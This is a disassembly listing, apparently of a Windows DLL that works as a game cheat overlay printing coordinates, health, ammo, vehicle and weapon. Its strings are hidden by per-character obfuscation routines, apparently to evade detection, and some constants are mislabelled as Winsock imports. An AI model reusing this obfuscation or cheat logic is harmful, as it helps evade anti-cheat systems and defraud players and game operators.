mov cl, 0x23
call fcn.180056ad0
mov byte [rsp + 0x56], al
mov cl, 0x23
call fcn.180056ad0
mov byte [rsp + 0x57], al
mov cl, 0x6d
call fcn.180056ad0
movzx r13d, al
mov cl, 0x79
call fcn.180056ad0
movzx r12d, al
mov cl, 0x5f
call fcn.180056ad0
movzx r15d, al
mov cl, 0x69
call fcn.180056ad0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056ad0
movzx esi, al
mov cl, 0x66
call fcn.180056ad0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ad0
movzx ebx, al
xor ecx, ecx
call fcn.180056ad0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x730], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x731], cl
mov byte [rbp + 0x732], r13b
mov byte [rbp + 0x733], r12b
mov byte [rbp + 0x734], r15b
mov byte [rbp + 0x735], r14b
mov byte [rbp + 0x736], sil
mov byte [rbp + 0x737], dil
mov byte [rbp + 0x738], bl
mov byte [rbp + 0x739], al
lea rcx, [rbp + 0x1878]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20
xor r8d, r8d
mov esi, 0xa
mov edx, esi
lea rcx, [rbp + 0x1878]
call fcn.180014330
xor edi, edi
mov r14d, edi
nop
mov rdx, r14
lea rcx, [rbp + 0x730]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180056ad0
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x1878]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800ce7d0
lea rcx, [rbp + 0x1878]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1878]
call fcn.180011f20
lea rcx, [0x1805e5b98]
call fcn.1800543e0
lea rcx, [rbp + 0x4d20]
call fcn.1800b00b0
nop
lea rcx, [rbp + 0x4d58]
call fcn.1800143d0
cmp rax, 1
jbe 0x1800d0267
movss xmm6, dword [rbp + 0x4d2c]
cvtps2pd xmm6, xmm6
xor eax, eax
mov dword [rbp + 0x1128], eax
mov cl, 0x25
call fcn.180056ae0
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.180056ae0
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.180056ae0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056ae0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1128], eax
lea rcx, [rbp + 0x1898]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000000
xor r8d, r8d
mov r15d, 4
mov edx, r15d
lea rcx, [rbp + 0x1898]
call fcn.180014330
mov rsi, rdi
mov r14d, r15d
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x1128]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056ae0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1898]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800ce8e0
lea rcx, [rbp + 0x1898]
call fcn.1800143e0
movaps xmm2, xmm6
movq r8, xmm6
mov rdx, rax
lea rcx, [rbp + 0x4ec0]
call fcn.180030a70
nop
lea rcx, [rbp + 0x1898]
call fcn.180011f20
movss xmm6, dword [rbp + 0x4d28]
cvtps2pd xmm6, xmm6
xor eax, eax
mov dword [rbp + 0x112c], eax
mov cl, 0x25
call fcn.180014970
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.180014970
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.180014970
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180014970
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x112c], eax
lea rcx, [rbp + 0x18b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x18b8]
call fcn.180014330
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x112c]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180014970
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x18b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r15, 1
jne 0x1800ce9c0
lea rcx, [rbp + 0x18b8]
call fcn.1800143e0
movaps xmm2, xmm6
movq r8, xmm6
mov rdx, rax
lea rcx, [rbp + 0x4f40]
call fcn.180030a70
nop
lea rcx, [rbp + 0x18b8]
call fcn.180011f20
movss xmm6, dword [rbp + 0x4da0]
cvtps2pd xmm6, xmm6
movss xmm7, dword [rbp + 0x4d9c]
cvtps2pd xmm7, xmm7
movss xmm8, dword [rbp + 0x4d98]
cvtps2pd xmm8, xmm8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe68], xmm0
mov qword [rbp + 0xe78], rax
mov dword [rbp + 0xe80], eax
mov word [rbp + 0xe84], ax
mov cl, 0x28
call fcn.180056b00
mov byte [rsp + 0x56], al
mov cl, 0x58
call fcn.180056b00
mov byte [rsp + 0x57], al
mov cl, 0x3a
call fcn.180056b00
mov byte [rsp + 0x58], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x59], al
mov cl, 0x25
call fcn.180056b00
mov byte [rsp + 0x5a], al
mov cl, 0x2e
call fcn.180056b00
mov byte [rsp + 0x60], al
mov cl, 0x66
call fcn.180056b00
mov byte [rsp + 0x61], al
mov cl, 0x2c
call fcn.180056b00
mov byte [rsp + 0x62], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x63], al
mov cl, 0x2d
call fcn.180056b00
mov byte [rsp + 0x78], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x79], al
mov cl, 0x59
call fcn.180056b00
mov byte [rsp + 0x7a], al
mov cl, 0x3a
call fcn.180056b00
mov byte [rsp + 0x7c], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x7b], al
mov cl, 0x25
call fcn.180056b00
mov byte [rsp + 0x7d], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x7e], al
mov cl, 0x2e
call fcn.180056b00
mov byte [rsp + 0x55], al
mov cl, 0x66
call fcn.180056b00
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x53], al
mov cl, 0x2d
call fcn.180056b00
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180056b00
mov byte [rsp + 0x51], al
mov cl, 0x5a
call fcn.180056b00
mov byte [rsp + 0x50], al
mov cl, 0x3a
call fcn.180056b00
movzx r13d, al
mov cl, 0x20
call fcn.180056b00
movzx r12d, al
mov cl, 0x25
call fcn.180056b00
movzx r15d, al
mov cl, 0x20
call fcn.180056b00
movzx r14d, al
mov cl, 0x2e
call fcn.180056b00
movzx esi, al
mov cl, 0x66
call fcn.180056b00
movzx edi, al
mov cl, 0x29
call fcn.180056b00
movzx ebx, al
xor ecx, ecx
call fcn.180056b00
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xe68], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xe69], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xe6a], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xe6b], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xe6c], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xe6d], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xe6e], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xe6f], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xe70], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xe71], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xe72], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xe73], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xe74], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xe75], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xe76], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xe77], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xe78], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xe79], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xe7a], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xe7b], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xe7c], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xe7d], cl
mov byte [rbp + 0xe7e], r13b
mov byte [rbp + 0xe7f], r12b
mov byte [rbp + 0xe80], r15b
mov byte [rbp + 0xe81], r14b
mov byte [rbp + 0xe82], sil
mov byte [rbp + 0xe83], dil
mov byte [rbp + 0xe84], bl
mov byte [rbp + 0xe85], al
lea rcx, [rbp + 0x18d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov r14d, 0x1e
mov edx, r14d
lea rcx, [rbp + 0x18d8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xe68]
call fcn.18001db60
movzx ecx, byte [rax]
call fcn.180056b00
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x18d8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800ced10
lea rcx, [rbp + 0x18d8]
call fcn.1800143e0
movsd qword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movq r9, xmm7
movaps xmm2, xmm8
movq r8, xmm2
mov rdx, rax
lea rcx, [rbp + 0x4fc0]
call fcn.180030a70
nop
lea rcx, [rbp + 0x18d8]
call fcn.180011f20
mov r14d, dword [rbp + 0x4d34]
lea rcx, [rbp + 0x4d58]
call fcn.1800143e0
mov r15, rax
xor eax, eax
mov qword [rbp + 0x1190], rax
mov cl, 0x25
call fcn.180056950
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056950
mov byte [rsp + 0x69], al
mov cl, 0x20
call fcn.180056950
mov byte [rsp + 0x6a], al
mov cl, 0x2d
call fcn.180056950
mov byte [rsp + 0x6b], al
mov cl, 0x20
call fcn.180056950
mov byte [rsp + 0x6c], al
mov cl, 0x25
call fcn.180056950
mov byte [rsp + 0x6d], al
mov cl, 0x64
call fcn.180056950
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056950
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1190], rax
lea rcx, [rbp + 0x18f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x18f8]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1190]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x18f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cee40
lea rcx, [rbp + 0x18f8]
call fcn.1800143e0
mov r9d, r14d
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x51c0]
call fcn.180030a70
nop
lea rcx, [rbp + 0x18f8]
call fcn.180011f20
lea rcx, [rbp + 0x51c0]
call fcn.1800b1aa0
mov rcx, qword [0x1805e4a20]
call fcn.180075760
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x380], rax
mov byte [rbp + 0x388], al
mov cl, 0x48
call fcn.180056b20
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056b20
movzx r13d, al
mov cl, 0x61
call fcn.180056b20
movzx r12d, al
mov cl, 0x6c
call fcn.180056b20
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b20
movzx r14d, al
mov cl, 0x68
call fcn.180056b20
movzx esi, al
mov cl, 0x20
call fcn.180056b20
movzx edi, al
mov cl, 0x3a
call fcn.180056b20
movzx ebx, al
xor ecx, ecx
call fcn.180056b20
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x380], cl
mov byte [rbp + 0x381], r13b
mov byte [rbp + 0x382], r12b
mov byte [rbp + 0x383], r15b
mov byte [rbp + 0x384], r14b
mov byte [rbp + 0x385], sil
mov byte [rbp + 0x386], dil
mov byte [rbp + 0x387], bl
mov byte [rbp + 0x388], al
lea rcx, [rbp + 0x1918]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1918]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x380]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056b20
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1918]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cefb0
lea rcx, [rbp + 0x42f8]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1918]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4300]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
subss xmm6, xmm14
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1918]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x390], rax
mov byte [rbp + 0x398], al
mov cl, 0x48
call fcn.180056820
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056820
movzx r13d, al
mov cl, 0x61
call fcn.180056820
movzx r12d, al
mov cl, 0x6c
call fcn.180056820
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056820
movzx r14d, al
mov cl, 0x68
call fcn.180056820
movzx esi, al
mov cl, 0x20
call fcn.180056820
movzx edi, al
mov cl, 0x3a
call fcn.180056820
movzx ebx, al
xor ecx, ecx
call fcn.180056820
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x390], cl
mov byte [rbp + 0x391], r13b
mov byte [rbp + 0x392], r12b
mov byte [rbp + 0x393], r15b
mov byte [rbp + 0x394], r14b
mov byte [rbp + 0x395], sil
mov byte [rbp + 0x396], dil
mov byte [rbp + 0x397], bl
mov byte [rbp + 0x398], al
lea rcx, [rbp + 0x1938]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000
xor r8d, r8d
mov esi, 9
mov edx, esi
lea rcx, [rbp + 0x1938]
call fcn.180014330
xor edi, edi
mov r14d, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0x390]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056820
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x1938]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800cf130
lea rcx, [rbp + 0x1938]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4828]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x1938]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4308]
call fcn.180076f00
movss xmm6, dword [rax]
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4ec0]
lea rcx, [rbp + 0x4310]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
subss xmm6, xmm14
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4ec0]
call fcn.1800940c0
call fcn.180075800
call fcn.180076ba0
subss xmm0, dword [0x1801ce79c]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x1188], rax
mov cl, 0x41
call fcn.1800146d0
mov byte [rsp + 0x68], al
mov cl, WSAStartup
call fcn.1800146d0
mov byte [rsp + 0x69], al
mov cl, 0x6d
call fcn.1800146d0
mov byte [rsp + 0x6a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146d0
mov byte [rsp + 0x6b], al
mov cl, WSAStartup
call fcn.1800146d0
mov byte [rsp + 0x6c], al
mov cl, 0x20
call fcn.1800146d0
mov byte [rsp + 0x6d], al
mov cl, 0x3a
call fcn.1800146d0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800146d0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1188], rax
lea rcx, [rbp + 0x1958]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100000
xor r8d, r8d
mov r15d, 8
mov edx, r15d
lea rcx, [rbp + 0x1958]
call fcn.180014330
mov rsi, rdi
mov r14d, r15d
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1188]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800146d0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1958]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cf2d0
lea rcx, [rbp + 0x4318]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1958]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4320]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm14
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1958]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x1180], rax
mov cl, 0x41
call fcn.180014840
mov byte [rsp + 0x68], al
mov cl, WSAStartup
call fcn.180014840
mov byte [rsp + 0x69], al
mov cl, 0x6d
call fcn.180014840
mov byte [rsp + 0x6a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014840
mov byte [rsp + 0x6b], al
mov cl, WSAStartup
call fcn.180014840
mov byte [rsp + 0x6c], al
mov cl, 0x20
call fcn.180014840
mov byte [rsp + 0x6d], al
mov cl, 0x3a
call fcn.180014840
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014840
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1180], rax
lea rcx, [rbp + 0x1978]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x1978]
call fcn.180014330
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1180]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014840
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1978]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r15, 1
jne 0x1800cf400
lea rcx, [rbp + 0x1978]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [r15 + 0x64]
lea r9d, [r15 + 0x68]
lea r8d, [r15 + 0x65]
lea rcx, [rbp + 0x4838]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x1978]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4328]
call fcn.180076f00
movss xmm6, dword [rax]
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4f40]
lea rcx, [rbp + 0x4330]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm14
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4f40]
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd28], xmm0
mov byte [rbp + 0xd38], al
mov cl, 0x43
call fcn.1800567a0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.1800567a0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800567a0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800567a0
mov byte [rsp + 0x53], al
mov cl, WSAGetLastError
call fcn.1800567a0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567a0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800567a0
mov byte [rsp + 0x56], al
mov cl, 0x56
call fcn.1800567a0
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.1800567a0
mov byte [rsp + 0x58], al
mov cl, 0x68
call fcn.1800567a0
movzx r13d, al
mov cl, 0x69
call fcn.1800567a0
movzx r12d, al
mov cl, 0x63
call fcn.1800567a0
movzx r15d, al
mov cl, 0x6c
call fcn.1800567a0
movzx r14d, al
mov cl, 0x65
call fcn.1800567a0
movzx esi, al
mov cl, 0x20
call fcn.1800567a0
movzx edi, al
mov cl, 0x3a
call fcn.1800567a0
movzx ebx, al
xor ecx, ecx
call fcn.1800567a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xd28], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xd29], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xd2a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xd2b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xd2c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xd2d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xd2e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xd2f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xd30], cl
mov byte [rbp + 0xd31], r13b
mov byte [rbp + 0xd32], r12b
mov byte [rbp + 0xd33], r15b
mov byte [rbp + 0xd34], r14b
mov byte [rbp + 0xd35], sil
mov byte [rbp + 0xd36], dil
mov byte [rbp + 0xd37], bl
mov byte [rbp + 0xd38], al
lea rcx, [rbp + 0x1998]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x1998]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xd28]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.1800567a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1998]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cf680
lea rcx, [rbp + 0x4338]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1998]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4340]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1998]
call fcn.180011f20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd58], xmm0
mov byte [rbp + 0xd68], al
mov cl, 0x43
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180014950
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014950
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180014950
mov byte [rsp + 0x53], al
mov cl, WSAGetLastError
call fcn.180014950
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014950
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180014950
mov byte [rsp + 0x56], al
mov cl, 0x56
call fcn.180014950
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.180014950
mov byte [rsp + 0x58], al
mov cl, 0x68
call fcn.180014950
movzx r13d, al
mov cl, 0x69
call fcn.180014950
movzx r12d, al
mov cl, 0x63
call fcn.180014950
movzx r15d, al
mov cl, 0x6c
call fcn.180014950
movzx r14d, al
mov cl, 0x65
call fcn.180014950
movzx esi, al
mov cl, 0x20
call fcn.180014950
movzx edi, al
mov cl, 0x3a
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xd58], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xd59], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xd5a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xd5b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xd5c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xd5d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xd5e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xd5f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xd60], cl
mov byte [rbp + 0xd61], r13b
mov byte [rbp + 0xd62], r12b
mov byte [rbp + 0xd63], r15b
mov byte [rbp + 0xd64], r14b
mov byte [rbp + 0xd65], sil
mov byte [rbp + 0xd66], dil
mov byte [rbp + 0xd67], bl
mov byte [rbp + 0xd68], al
lea rcx, [rbp + 0x19b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x19b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0xd58]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x19b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cf8a0
lea rcx, [rbp + 0x19b8]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4848]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x19b8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4348]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4d78]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4350]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4d78]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd70], xmm0
mov byte [rbp + 0xd80], al
mov cl, 0x43
call fcn.180056a00
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180056a00
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056a00
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180056a00
mov byte [rsp + 0x53], al
mov cl, WSAGetLastError
call fcn.180056a00
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a00
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180056a00
mov byte [rsp + 0x56], al
mov cl, 0x57
call fcn.180056a00
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.180056a00
mov byte [rsp + 0x58], al
mov cl, 0x61
call fcn.180056a00
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a00
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a00
movzx r15d, al
mov cl, WSAGetLastError
call fcn.180056a00
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a00
movzx esi, al
mov cl, 0x20
call fcn.180056a00
movzx edi, al
mov cl, 0x3a
call fcn.180056a00
movzx ebx, al
xor ecx, ecx
call fcn.180056a00
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xd70], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xd71], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xd72], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xd73], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xd74], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xd75], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xd76], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xd77], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xd78], cl
mov byte [rbp + 0xd79], r13b
mov byte [rbp + 0xd7a], r12b
